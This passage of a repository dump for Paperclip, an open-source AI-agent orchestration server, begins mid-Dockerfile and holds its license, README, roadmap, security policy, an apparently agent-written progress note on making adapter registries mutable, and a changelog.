COPY packages/plugins/plugin-llm-wiki/package.json packages/plugins/plugin-llm-wiki/
COPY packages/plugins/plugin-workspace-diff/package.json packages/plugins/plugin-workspace-diff/
COPY patches/ patches/
COPY scripts/link-plugin-dev-sdk.mjs scripts/
RUN pnpm install --frozen-lockfile
FROM base AS build
WORKDIR /app
COPY --from=deps /app /app
COPY . .
RUN pnpm --filter @paperclipai/ui build
RUN pnpm --filter @paperclipai/plugin-sdk build
RUN pnpm --filter @paperclipai/server build
RUN test -f server/dist/index.js || (echo "ERROR: server build output missing" && exit 1)
FROM base AS production
ARG USER_UID=1000
ARG USER_GID=1000
WORKDIR /app
COPY --chown=node:node --from=build /app /app
RUN npm install --global --omit=dev @anthropic-ai/claude-code@latest @openai/codex@latest opencode-ai @google/gemini-cli@latest \
&& apt-get update \
&& apt-get install -y --no-install-recommends openssh-client jq \
&& rm -rf /var/lib/apt/lists/* \
&& mkdir -p /paperclip \
&& chown node:node /paperclip
COPY scripts/docker-entrypoint.sh /usr/local/bin/
RUN chmod +x /usr/local/bin/docker-entrypoint.sh
ENV NODE_ENV=production \
HOME=/paperclip \
HOST=0.0.0.0 \
PORT=3100 \
SERVE_UI=true \
PAPERCLIP_HOME=/paperclip \
PAPERCLIP_INSTANCE_ID=default \
USER_UID=${USER_UID} \
USER_GID=${USER_GID} \
PAPERCLIP_CONFIG=/paperclip/instances/default/config.json \
PAPERCLIP_DEPLOYMENT_MODE=authenticated \
PAPERCLIP_DEPLOYMENT_EXPOSURE=private \
OPENCODE_ALLOW_ALL_MODELS=true \
GEMINI_SANDBOX=false
EXPOSE 3100
ENTRYPOINT ["docker-entrypoint.sh"]
CMD ["node", "--import", "./server/node_modules/tsx/dist/loader.mjs", "server/dist/index.js"]
+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2025 Paperclip AI
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+452
View File
@@ -0,0 +1,452 @@
<p align="center">
<img src="doc/assets/banner.jpg" alt="Paperclip is the app people use to manage AI agents for work." width="720" />
</p>
<p align="center">
<a href="#quickstart"><strong>Quickstart</strong></a> &middot;
<a href="https://paperclip.ing/docs"><strong>Docs</strong></a> &middot;
<a href="https://github.com/paperclipai/paperclip"><strong>GitHub</strong></a> &middot;
<a href="https://discord.gg/m4HZY7xNG3"><strong>Discord</strong></a> &middot;
<a href="https://x.com/papercliping"><strong>Twitter</strong></a> &middot;
<a href="https://paperclip.ing"><strong>Website</strong></a>
</p>
<p align="center">
<a href="https://github.com/paperclipai/paperclip/blob/master/LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue" alt="MIT License" /></a>
<a href="https://github.com/paperclipai/paperclip/stargazers"><img src="https://img.shields.io/github/stars/paperclipai/paperclip?style=flat" alt="Stars" /></a>
<a href="https://discord.gg/m4HZY7xNG3"><img src="https://img.shields.io/discord/000000000?label=discord" alt="Discord" /></a>
</p>
<br/>
<div align="center">
<video src="https://github.com/user-attachments/assets/773bdfb2-6d1e-4e30-8c5f-3487d5b70c8f" width="600" controls></video>
</div>
<br/>
# Paperclip is the app people use to manage AI agents for work.
Open-source orchestration for teams of AI agents.
**If OpenClaw is an _employee_, Paperclip is the _company_.**
Paperclip is a Node.js server and React UI that orchestrates a team of AI agents to run a business. Bring your own agents, assign goals, and track work and costs from one dashboard.
It looks like a task manager. Under the hood: org charts, budgets, governance, goal alignment, and agent coordination.
**Manage business goals, not pull requests.**
| | Step | Example |
| ------ | --------------- | ------------------------------------------------------------------ |
| **01** | Define the goal | _"Build the #1 AI note-taking app to $1M MRR."_ |
| **02** | Hire the team | CEO, CTO, engineers, designers, marketers — any bot, any provider. |
| **03** | Approve and run | Review strategy. Set budgets. Hit go. Monitor from the dashboard. |
<br/>
<div align="center">
<table>
<tr>
<td align="center"><strong>Works<br/>with</strong></td>
<td align="center"><img src="doc/assets/logos/openclaw.svg" width="32" alt="OpenClaw" /><br/><sub>OpenClaw</sub></td>
<td align="center"><img src="doc/assets/logos/claude.svg" width="32" alt="Claude" /><br/><sub>Claude Code</sub></td>
<td align="center"><img src="doc/assets/logos/codex.svg" width="32" alt="Codex" /><br/><sub>Codex</sub></td>
<td align="center"><img src="doc/assets/logos/cursor.svg" width="32" alt="Cursor" /><br/><sub>Cursor</sub></td>
<td align="center"><img src="doc/assets/logos/bash.svg" width="32" alt="Bash" /><br/><sub>Bash</sub></td>
<td align="center"><img src="doc/assets/logos/http.svg" width="32" alt="HTTP" /><br/><sub>HTTP</sub></td>
</tr>
</table>
<em>If it can receive a heartbeat, it's hired.</em>
</div>
<br/>
## Paperclip is right for you if
- ✅ You want to build **autonomous AI companies**
- ✅ You **coordinate many different agents** (OpenClaw, Codex, Claude, Cursor) toward a common goal
- ✅ You have **20 simultaneous Claude Code terminals** open and lose track of what everyone is doing
- ✅ You want agents running **autonomously 24/7**, but still want to audit work and chime in when needed
- ✅ You want to **monitor costs** and enforce budgets
- ✅ You want a process for managing agents that **feels like using a task manager**
- ✅ You want to manage your autonomous businesses **from your phone**
<br/>
## Features
<table>
<tr>
<td align="center" width="33%">
<h3>🔌 Bring Your Own Agent</h3>
Any agent, any runtime, one org chart. If it can receive a heartbeat, it's hired.
</td>
<td align="center" width="33%">
<h3>🎯 Goal Alignment</h3>
Every task traces back to the company mission. Agents know <em>what</em> to do and <em>why</em>.
</td>
<td align="center" width="33%">
<h3>💓 Heartbeats</h3>
Agents wake on a schedule, check work, and act. Delegation flows up and down the org chart.
</td>
</tr>
<tr>
<td align="center">
<h3>💰 Cost Control</h3>
Monthly budgets per agent. When they hit the limit, they stop. No runaway costs.
</td>
<td align="center">
<h3>🏢 Multi-Company</h3>
One deployment, many companies. Complete data isolation. One control plane for your portfolio.
</td>
<td align="center">
<h3>🎫 Ticket System</h3>
Every conversation traced. Every decision explained. Full tool-call tracing and immutable audit log.
</td>
</tr>
<tr>
<td align="center">
<h3>🛡️ Governance</h3>
Approve hires, override strategy, pause or terminate any agent — at any time.
</td>
<td align="center">
<h3>📊 Org Chart</h3>
Hierarchies, roles, reporting lines. Your agents have a boss, a title, and a job description.
</td>
<td align="center">
<h3>📱 Mobile Ready</h3>
Monitor and manage your autonomous businesses from anywhere.
</td>
</tr>
</table>
<br/>
## Problems Paperclip solves
| Without Paperclip | With Paperclip |
| ------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| ❌ You have 20 Claude Code tabs open and can't track which one does what. On reboot you lose everything. | ✅ Tasks are ticket-based, conversations are threaded, sessions persist across reboots. |
| ❌ You manually gather context from several places to remind your bot what you're actually doing. | ✅ Context flows from the task up through the project and company goals — your agent always knows what to do and why. |
| ❌ Folders of agent configs are disorganized and you're re-inventing task management, communication, and coordination between agents. | ✅ Paperclip gives you org charts, ticketing, delegation, and governance out of the box — so you run a company, not a pile of scripts. |
| ❌ Runaway loops waste hundreds of dollars of tokens and max your quota before you even know what happened. | ✅ Cost tracking surfaces token budgets and throttles agents when they're out. Management prioritizes with budgets. |
| ❌ You have recurring jobs (customer support, social, reports) and have to remember to manually kick them off. | ✅ Heartbeats handle regular work on a schedule. Management supervises. |
| ❌ You have an idea, you have to find your repo, fire up Claude Code, keep a tab open, and babysit it. | ✅ Add a task in Paperclip. Your coding agent works on it until it's done. Management reviews their work. |
<br/>
## Why Paperclip is special
Paperclip handles the hard orchestration details correctly.
| | |
| --------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| **Atomic execution.** | Task checkout and budget enforcement are atomic, so no double-work and no runaway spend. |
| **Persistent agent state.** | Agents resume the same task context across heartbeats instead of restarting from scratch. |
| **Runtime skill injection.** | Agents can learn Paperclip workflows and project context at runtime, without retraining. |
| **Governance with rollback.** | Approval gates are enforced, config changes are revisioned, and bad changes can be rolled back safely. |
| **Goal-aware execution.** | Tasks carry full goal ancestry so agents consistently see the "why," not just a title. |
| **Portable company templates.** | Export/import orgs, agents, and skills with secret scrubbing and collision handling. |
| **True multi-company isolation.** | Every entity is company-scoped, so one deployment can run many companies with separate data and audit trails. |
<br/>
## What's Under the Hood
Paperclip is a full control plane, not a wrapper. Before you build any of this yourself, know that it already exists:
```
┌──────────────────────────────────────────────────────────────┐
│ PAPERCLIP SERVER │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │Identity & │ │ Work & │ │ Heartbeat │ │Governance │ │
│ │ Access │ │ Tasks │ │ Execution │ │& Approvals│ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Org Chart │ │Workspaces │ │ Plugins │ │ Budget │ │
│ │ & Agents │ │ & Runtime │ │ │ │ & Costs │ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
│ │
│ ┌───────────┐ ┌───────────┐ ┌───────────┐ ┌───────────┐ │
│ │ Routines │ │ Secrets & │ │ Activity │ │ Company │ │
│ │& Schedules│ │ Storage │ │ & Events │ │Portability│ │
│ └───────────┘ └───────────┘ └───────────┘ └───────────┘ │
└──────────────────────────────────────────────────────────────┘
▲ ▲ ▲ ▲
┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐ ┌─────┴─────┐
│ Claude │ │ Codex │ │ CLI │ │ HTTP/web │
│ Code │ │ │ │ agents │ │ bots │
└───────────┘ └───────────┘ └───────────┘ └───────────┘
```
### The Systems
<table>
<tr>
<td width="50%">
**Identity & Access** — Two deployment modes (trusted local or authenticated), board users, agent API keys, short-lived run JWTs, company memberships, invite flows, and OpenClaw onboarding. Every mutating request is traced to an actor.
</td>
<td width="50%">
**Org Chart & Agents** — Agents have roles, titles, reporting lines, permissions, and budgets. Adapter examples match the diagram: Claude Code, Codex, CLI agents such as Cursor/Gemini/bash, HTTP/webhook bots such as OpenClaw, and external adapter plugins. If it can receive a heartbeat, it's hired.
</td>
</tr>
<tr>
<td>
**Work & Task System** — Issues carry company/project/goal/parent links, atomic checkout with execution locks, first-class blocker dependencies, comments, documents, attachments, work products, labels, and inbox state. No double-work, no lost context.
</td>
<td>
**Heartbeat Execution** — DB-backed wakeup queue with coalescing, budget checks, workspace resolution, secret injection, skill loading, and adapter invocation. Runs produce structured logs, cost events, session state, and audit trails. Recovery handles orphaned runs automatically.
</td>
</tr>
<tr>
<td>
**Workspaces & Runtime** — Project workspaces, isolated execution workspaces (git worktrees, operator branches), and runtime services (dev servers, preview URLs). Agents work in the right directory with the right context every time.
</td>
<td>
**Governance & Approvals** — Board approval workflows, execution policies with review/approval stages, decision tracking, budget hard-stops, agent pause/resume/terminate, and full audit logging. Nothing ships without your sign-off.
</td>
</tr>
<tr>
<td>
**Budget & Cost Control** — Token and cost tracking by company, agent, project, goal, issue, provider, and model. Scoped budget policies with warning thresholds and hard stops. Overspend pauses agents and cancels queued work automatically.
</td>
<td>
**Routines & Schedules** — Recurring tasks with cron, webhook, and API triggers. Concurrency and catch-up policies. Each routine execution creates a tracked issue and wakes the assigned agent — no manual kick-offs needed.
</td>
</tr>
<tr>
<td>
**Plugins** — Instance-wide plugin system with out-of-process workers, capability-gated host services, job scheduling, tool exposure, and UI contributions. Extend Paperclip without forking it.
</td>
<td>
**Secrets & Storage** — Instance and company secrets, encrypted local storage, provider-backed object storage, attachments, and work products. Sensitive values stay out of prompts unless a scoped run explicitly needs them.
</td>
</tr>
<tr>
<td>
**Activity & Events** — Mutating actions, heartbeat state changes, cost events, approvals, comments, and work products are recorded as durable activity so operators can audit what happened and why.
</td>
<td>
**Company Portability** — Export and import entire organizations — agents, skills, projects, routines, and issues — with secret scrubbing and collision handling. One deployment, many companies, complete data isolation.
</td>
</tr>
</table>
<br/>
## What Paperclip is not
| | |
| ---------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| **Not a chatbot.** | Agents have jobs, not chat windows. |
| **Not an agent framework.** | We don't tell you how to build agents. We tell you how to run a company made of them. |
| **Not a workflow builder.** | No drag-and-drop pipelines. Paperclip models companies — with org charts, goals, budgets, and governance. |
| **Not a prompt manager.** | Agents bring their own prompts, models, and runtimes. Paperclip manages the organization they work in. |
| **Not a single-agent tool.** | This is for teams. If you have one agent, you probably don't need Paperclip. If you have twenty — you definitely do. |
| **Not a code review tool.** | Paperclip orchestrates work, not pull requests. Bring your own review process. |
<br/>
## Quickstart
Open source. Self-hosted. No Paperclip account required.
```bash
npx paperclipai onboard --yes
```
> **Troubleshooting: private npm registry `.npmrc`**
>
> If this fails with an `E404` for `paperclipai` (or similar) and you use a private npm registry (for example GitHub Packages) via a global `~/.npmrc`, `npx` may be resolving `paperclipai` against that private registry instead of the public npm registry.
>
> Diagnostic:
>
> ```bash
> npm config get registry
> ```
>
> Workaround (cross-platform; force the public npm registry for this command):
>
> ```bash
> npx --registry https://registry.npmjs.org paperclipai onboard --yes
> ```
That quickstart path now defaults to trusted local loopback mode for the fastest first run. To start in authenticated/private mode instead, choose a bind preset explicitly:
```bash
npx paperclipai onboard --yes --bind lan
# or:
npx paperclipai onboard --yes --bind tailnet
```
If you already have Paperclip configured, rerunning `onboard` keeps the existing config in place. Use `paperclipai configure` to edit settings.
Or manually:
```bash
git clone https://github.com/paperclipai/paperclip.git
cd paperclip
pnpm install
pnpm dev
```
This starts the API server at `http://localhost:3100`. An embedded PostgreSQL database is created automatically — no setup required.
> **Requirements:** Node.js 20+, pnpm 9.15+
<br/>
## FAQ
**What does a typical setup look like?**
Locally, a single Node.js process manages an embedded Postgres and local file storage. For production, point it at your own Postgres and deploy however you like. Configure projects, agents, and goals — the agents take care of the rest.
If you're a solo entrepreneur you can use Tailscale to access Paperclip on the go. Then later you can deploy to e.g. Vercel when you need it.
**Can I run multiple companies?**
Yes. A single deployment can run an unlimited number of companies with complete data isolation.
**How is Paperclip different from agents like OpenClaw or Claude Code?**
Paperclip _uses_ those agents. It orchestrates them into a company — with org charts, budgets, goals, governance, and accountability.
**Why should I use Paperclip instead of just pointing my OpenClaw to Asana or Trello?**
Agent orchestration has subtleties in how you coordinate who has work checked out, how to maintain sessions, monitoring costs, establishing governance - Paperclip does this for you.
(Bring-your-own-ticket-system is on the Roadmap)
**Do agents run continuously?**
By default, agents run on scheduled heartbeats and event-based triggers (task assignment, @-mentions). You can also hook in continuous agents like OpenClaw. You bring your agent and Paperclip coordinates.
<br/>
## Development
```bash
pnpm dev # Full dev (API + UI, watch mode)
pnpm dev:once # Full dev without file watching
pnpm dev:server # Server only
pnpm build # Build all
pnpm typecheck # Type checking
pnpm test # Cheap default test run (Vitest only)
pnpm test:watch # Vitest watch mode
pnpm test:e2e # Playwright browser suite
pnpm db:generate # Generate DB migration
pnpm db:migrate # Apply migrations
```
`pnpm test` does not run Playwright. Browser suites stay separate and are typically run only when working on those flows or in CI.
See [doc/DEVELOPING.md](doc/DEVELOPING.md) for the full development guide.
<br/>
## Roadmap
- ✅ Plugin system (e.g. add a knowledge base, custom tracing, queues, etc)
- ✅ Get OpenClaw / claw-style agent employees
- ✅ companies.sh - import and export entire organizations
- ✅ Easy AGENTS.md configurations
- ✅ Skills Manager
- ✅ Scheduled Routines
- ✅ Better Budgeting
- ✅ Agent Reviews and Approvals
- ✅ Multiple Human Users
- ⚪ Cloud / Sandbox agents (e.g. Cursor / e2b / Novita agents)
- ⚪ Artifacts & Work Products
- ⚪ Memory / Knowledge
- ⚪ Enforced Outcomes
- ⚪ MAXIMIZER MODE
- ⚪ Deep Planning
- ⚪ Work Queues
- ⚪ Self-Organization
- ⚪ Automatic Organizational Learning
- ⚪ CEO Chat
- ⚪ Cloud deployments
- ⚪ Desktop App
This is the short roadmap preview. See the full roadmap in [ROADMAP.md](ROADMAP.md).
<br/>
## Community & Plugins
Find Plugins and more at [awesome-paperclip](https://github.com/gsxdsm/awesome-paperclip)
## Observability
Paperclip ships with opt-in OpenTelemetry auto-instrumentation for the server (traces only). It activates when `OTEL_EXPORTER_OTLP_ENDPOINT` is set and supports `grpc`, `http/protobuf`, and `http/json` via the standard `OTEL_EXPORTER_OTLP_PROTOCOL` env var. The `@opentelemetry/*` packages are optional peer dependencies — install them only if you want tracing. See [doc/observability.md](doc/observability.md) for install commands and the full env-var reference.
## Telemetry
Paperclip collects anonymous usage telemetry to help us understand how the product is used and improve it. No personal information, issue content, prompts, file paths, or secrets are ever collected. Private repository references are hashed with a per-install salt before being sent.
Contributors changing emitted telemetry events should follow the [Telemetry Data Contract](packages/shared/src/telemetry/README.md).
Telemetry is **enabled by default** and can be disabled with any of the following:
| Method | How |
| -------------------- | ------------------------------------------------------- |
| Environment variable | `PAPERCLIP_TELEMETRY_DISABLED=1` |
| Standard convention | `DO_NOT_TRACK=1` |
| CI environments | Automatically disabled when `CI=true` |
| Config file | Set `telemetry.enabled: false` in your Paperclip config |
## Contributing
We welcome contributions. See the [contributing guide](CONTRIBUTING.md) for details.
<br/>
## Community
- [Discord](https://discord.gg/m4HZY7xNG3) — Join the community
- [Twitter / X](https://x.com/papercliping) — Follow updates and announcements
- [GitHub Issues](https://github.com/paperclipai/paperclip/issues) — bugs and feature requests
- [GitHub Discussions](https://github.com/paperclipai/paperclip/discussions) — ideas and RFC
<br/>
## License
MIT &copy; 2026 [Paperclip Labs, Inc](https://paperclip.ing)
## Star History
[![Star History Chart](https://api.star-history.com/image?repos=paperclipai/paperclip&type=date&legend=top-left)](https://www.star-history.com/?repos=paperclipai%2Fpaperclip&type=date&legend=top-left)
<br/>
---
<p align="center">
<sub>Open source under MIT. Built for people who want to get work done, not babysit agents.</sub>
</p>
+97
View File
@@ -0,0 +1,97 @@
# Roadmap
This document expands the roadmap preview in `README.md`.
Paperclip is still moving quickly. The list below is directional, not promised, and priorities may shift as we learn from users and from operating real AI companies with the product.
We value community involvement and want to make sure contributor energy goes toward areas where it can land.
We may accept contributions in the areas below, but if you want to work on roadmap-level core features, please coordinate with us first in Discord (`#dev`) before writing code. Bugs, docs, polish, and tightly scoped improvements are still the easiest contributions to merge.
If you want to extend Paperclip today, the best path is often the [plugin system](doc/plugins/PLUGIN_SPEC.md). Community reference implementations are also useful feedback even when they are not merged directly into core.
## Milestones
### ✅ Plugin system
Paperclip should keep a thin core and rich edges. Plugins are the path for optional capabilities like knowledge bases, custom tracing, queues, doc editors, and other product-specific surfaces that do not need to live in the control plane itself.
### ✅ Get OpenClaw / claw-style agent employees
Paperclip should be able to hire and manage real claw-style agent workers, not just a narrow built-in runtime. This is part of the larger "bring your own agent" story and keeps the control plane useful across different agent ecosystems.
### ✅ companies.sh - import and export entire organizations
Reusable companies matter. Import/export is the foundation for moving org structures, agent definitions, and reusable company setups between environments and eventually for broader company-template distribution.
### ✅ Easy AGENTS.md configurations
Agent setup should feel repo-native and legible. Simple `AGENTS.md`-style configuration lowers the barrier to getting an agent team running and makes it easier for contributors to understand how a company is wired together.
### ✅ Skills Manager
Agents need a practical way to discover, install, and use skills without every setup becoming bespoke. The skills layer is part of making Paperclip companies more reusable and easier to operate.
### ✅ Scheduled Routines
Recurring work should be native. Routine tasks like reports, reviews, and other periodic work need first-class scheduling so the company keeps operating even when no human is manually kicking work off.
### ✅ Better Budgeting
Budgets are a core control-plane feature, not an afterthought. Better budgeting means clearer spend visibility, safer hard stops, and better operator control over how autonomy turns into real cost.
### ✅ Agent Reviews and Approvals
Paperclip should support explicit review and approval stages as first-class workflow steps, not just ad hoc comments. That means reviewer routing, approval gates, change requests, and durable audit trails that fit the same task model as the rest of the control plane.
### ✅ Multiple Human Users
Paperclip needs a clearer path from solo operator to real human teams. That means shared board access, safer collaboration, and a better model for several humans supervising the same autonomous company.
### ⚪ Cloud / Sandbox agents (e.g. Cursor / e2b / Novita agents)
We want agents to run in more remote and sandboxed environments while preserving the same Paperclip control-plane model. This makes the system safer, more flexible, and more useful outside a single trusted local machine.
### ⚪ Artifacts & Work Products
Paperclip should make outputs first-class. That means generated artifacts, previews, deployable outputs, and the handoff from "agent did work" to "here is the result" should become more visible and easier to operate.
### ⚪ Memory / Knowledge
We want a stronger memory and knowledge surface for companies, agents, and projects. That includes durable memory, better recall of prior decisions and context, and a clearer path for knowledge-style capabilities without turning Paperclip into a generic chat app.
### ⚪ Enforced Outcomes
Paperclip should get stricter about what counts as finished work. Tasks, approvals, and execution flows should resolve to clear outcomes like merged code, published artifacts, shipped docs, or explicit decisions instead of stopping at vague status updates.
### ⚪ MAXIMIZER MODE
This is the direction for higher-autonomy execution: more aggressive delegation, deeper follow-through, and stronger operating loops with clear budgets, visibility, and governance. The point is not hidden autonomy; the point is more output per human supervisor.
### ⚪ Deep Planning
Some work needs more than a task description before execution starts. Deeper planning means stronger issue documents, revisionable plans, and clearer review loops for strategy-heavy work before agents begin execution.
### ⚪ Work Queues
Paperclip should support queue-style work streams for repeatable inputs like support, triage, review, and backlog intake. That would make it easier to route work continuously without turning every system into a one-off workflow.
### ⚪ Self-Organization
As companies grow, agents should be able to propose useful structural changes such as role adjustments, delegation changes, and new recurring routines. The goal is adaptive organizations that still stay within governance and approval boundaries.
### ⚪ Automatic Organizational Learning
Paperclip should get better at turning completed work into reusable organizational knowledge. That includes capturing playbooks, recurring fixes, and decision patterns so future work starts from what the company has already learned.
### ⚪ CEO Chat
We want a lighter-weight way to talk to leadership agents, but those conversations should still resolve to real work objects like plans, issues, approvals, or decisions. This should improve interaction without changing the core task-and-comments model.
### ⚪ Cloud deployments
Local-first remains important, but Paperclip also needs a cleaner shared deployment story. Teams should be able to run the same product in hosted or semi-hosted environments without changing the mental model.
### ⚪ Desktop App
A desktop app can make Paperclip feel more accessible and persistent for day-to-day operators. The goal is easier access, better local ergonomics, and a smoother default experience for users who want the control plane always close at hand.
+8
View File
@@ -0,0 +1,8 @@
# Security Policy
## Reporting a Vulnerability
Please report security vulnerabilities through GitHub's Security Advisory feature:
[https://github.com/paperclipai/paperclip/security/advisories/new](https://github.com/paperclipai/paperclip/security/advisories/new)
Do not open public issues for security vulnerabilities.
+143
View File
@@ -0,0 +1,143 @@
- Created branch: feat/external-adapter-phase1
I started phase 1 in the most merge-friendly way I could: small central changes, reusing existing registry patterns instead of inventing a whole new plugin system up front.
What I changed
1. Server adapter registry is now mutable
Files:
- server/src/adapters/registry.ts
- server/src/adapters/index.ts
Added:
- registerServerAdapter(adapter)
- unregisterServerAdapter(type)
- requireServerAdapter(type)
Kept the existing built-in registry shape, but changed initialization so built-ins are registered into a mutable map on startup.
Why this is merge-friendly:
- existing built-in adapter definitions stay where they already are
- existing lookup helpers still exist
- no big architectural rewrite yet
1. Runtime adapter validation moved to server routes
File:
- server/src/routes/agents.ts
Added:
- assertKnownAdapterType(...)
Used it in:
- /companies/:companyId/adapters/:type/models
- /companies/:companyId/adapters/:type/detect-model
- /companies/:companyId/adapters/:type/test-environment
- POST /companies/:companyId/agents
- POST /companies/:companyId/agent-hires
- PATCH /agents/:id when adapterType is touched
Why:
- shared schemas can now allow external adapter strings
- server becomes the real source of truth for “is this adapter actually registered?”
1. Shared adapterType validation is now open-ended for inputs
Files:
- packages/shared/src/adapter-type.ts
- packages/shared/src/validators/agent.ts
- packages/shared/src/validators/access.ts
- packages/shared/src/index.ts
Changed input validation from hardcoded z.enum(AGENT_ADAPTER_TYPES) to:
- agentAdapterTypeSchema
- optionalAgentAdapterTypeSchema
These accept any non-empty string.
Important:
- I did not remove AGENT_ADAPTER_TYPES from constants
- I did not change the built-in type unions yet
- this keeps the change minimal and limits blast radius
So:
- input payloads can carry external adapter types
- actual acceptance still depends on server registry validation
1. UI adapter registry is now mutable too
Files:
- ui/src/adapters/registry.ts
- ui/src/adapters/index.ts
Added:
- registerUIAdapter(adapter)
- unregisterUIAdapter(type)
- findUIAdapter(type)
Built-ins are still registered from the same file, same pattern as server.
1. Began switching UI adapter lists toward the registry
Files:
- ui/src/adapters/metadata.ts
- ui/src/components/AgentConfigForm.tsx
- ui/src/pages/NewAgent.tsx
Changed:
- AgentConfigForm adapter list now comes from registered UI adapters via metadata helper
- NewAgent supported adapter set now derives from listUIAdapters()
Why:
- phase 1 should start reducing hardcoded UI lists
- but without rewriting every page at once
1. Tests added first, then implementation
New tests:
- server/src/__tests__/adapter-registry.test.ts
- server/src/__tests__/agent-adapter-validation-routes.test.ts
- ui/src/adapters/registry.test.ts
- packages/shared/src/adapter-types.test.ts
Small test mock fix:
- server/src/__tests__/agent-skills-routes.test.ts
Current status
The branch is created and the phase-1 code is started.
I also followed TDD in spirit:
- wrote failing tests first for missing register/unregister APIs
- then implemented the registry changes
What is not finished yet
I have not finished the green/stabilization pass yet.
I still need to:
- run the targeted tests again after the implementation changes
- fix any TS / mocking fallout
- decide how far to take phase-1 UI wiring in this branch before stopping
Also, I intentionally did not yet touch the bigger hardcoded surfaces like:
- NewAgentDialog
- OnboardingWizard
- InviteLanding
- duplicated adapterLabels maps
- plugin manifest / plugin loader adapter contributions
That is deliberate.
For merge safety, I started with the smallest useful seam:
- dynamic server registry
- dynamic UI registry
- runtime validation based on registry
- first couple of UI consumers
One note
There was already an unrelated dirty change in:
- server/scripts/dev-watch.ts
I left that alone and did not make phase-1 changes there.
Recommended next move
I should keep going on this same branch and do the stabilization pass:
1. rerun server/ui/shared targeted tests
2. fix failures
3. run typechecks
4. then extend the same registry-driven approach to the next safest UI surfaces
+138
View File
@@ -0,0 +1,138 @@
# paperclipai
## 0.3.1
### Patch Changes
- Stable release preparation for 0.3.1
- Updated dependencies
- @paperclipai/adapter-utils@0.3.1
- @paperclipai/adapter-claude-local@0.3.1
- @paperclipai/adapter-codex-local@0.3.1
- @paperclipai/adapter-cursor-local@0.3.1
- @paperclipai/adapter-gemini-local@0.3.1
- @paperclipai/adapter-openclaw-gateway@0.3.1
- @paperclipai/adapter-opencode-local@0.3.1
- @paperclipai/adapter-pi-local@0.3.1
- @paperclipai/db@0.3.1
- @paperclipai/shared@0.3.1
- @paperclipai/server@0.3.1
## 0.3.0
### Minor Changes
- Stable release preparation for 0.3.0
### Patch Changes
- Updated dependencies [6077ae6]
- Updated dependencies
- @paperclipai/shared@0.3.0
- @paperclipai/adapter-utils@0.3.0
- @paperclipai/adapter-claude-local@0.3.0
- @paperclipai/adapter-codex-local@0.3.0
- @paperclipai/adapter-cursor-local@0.3.0
- @paperclipai/adapter-openclaw-gateway@0.3.0
- @paperclipai/adapter-opencode-local@0.3.0
- @paperclipai/adapter-pi-local@0.3.0
- @paperclipai/db@0.3.0
- @paperclipai/server@0.3.0
## 0.2.7
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.7
- @paperclipai/adapter-utils@0.2.7
- @paperclipai/db@0.2.7
- @paperclipai/adapter-claude-local@0.2.7
- @paperclipai/adapter-codex-local@0.2.7
- @paperclipai/adapter-openclaw@0.2.7
- @paperclipai/server@0.2.7
## 0.2.6
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.6
- @paperclipai/adapter-utils@0.2.6
- @paperclipai/db@0.2.6
- @paperclipai/adapter-claude-local@0.2.6
- @paperclipai/adapter-codex-local@0.2.6
- @paperclipai/adapter-openclaw@0.2.6
- @paperclipai/server@0.2.6
## 0.2.5
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.5
- @paperclipai/adapter-utils@0.2.5
- @paperclipai/db@0.2.5
- @paperclipai/adapter-claude-local@0.2.5
- @paperclipai/adapter-codex-local@0.2.5
- @paperclipai/adapter-openclaw@0.2.5
- @paperclipai/server@0.2.5
## 0.2.4
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.4
- @paperclipai/adapter-utils@0.2.4
- @paperclipai/db@0.2.4
- @paperclipai/adapter-claude-local@0.2.4
- @paperclipai/adapter-codex-local@0.2.4
- @paperclipai/adapter-openclaw@0.2.4
- @paperclipai/server@0.2.4
## 0.2.3
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.3
- @paperclipai/adapter-utils@0.2.3
- @paperclipai/db@0.2.3
- @paperclipai/adapter-claude-local@0.2.3
- @paperclipai/adapter-codex-local@0.2.3
- @paperclipai/adapter-openclaw@0.2.3
- @paperclipai/server@0.2.3
## 0.2.2
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.2
- @paperclipai/adapter-utils@0.2.2
- @paperclipai/db@0.2.2
- @paperclipai/adapter-claude-local@0.2.2
- @paperclipai/adapter-codex-local@0.2.2
- @paperclipai/adapter-openclaw@0.2.2
- @paperclipai/server@0.2.2
## 0.2.1
### Patch Changes
- Version bump (patch)
- Updated dependencies
- @paperclipai/shared@0.2.1
- @paperclipai/adapter-utils@0.2.1
- @paperclipai/db@0.2.1
- @paperclipai/adapter-claude-local@0.2.1
- @paperclipai/adapter-codex-local@0.2.1
- @paperclipai/adapter-openclaw@0.2.1
- @paperclipai/server@0.2.1
+445
View File
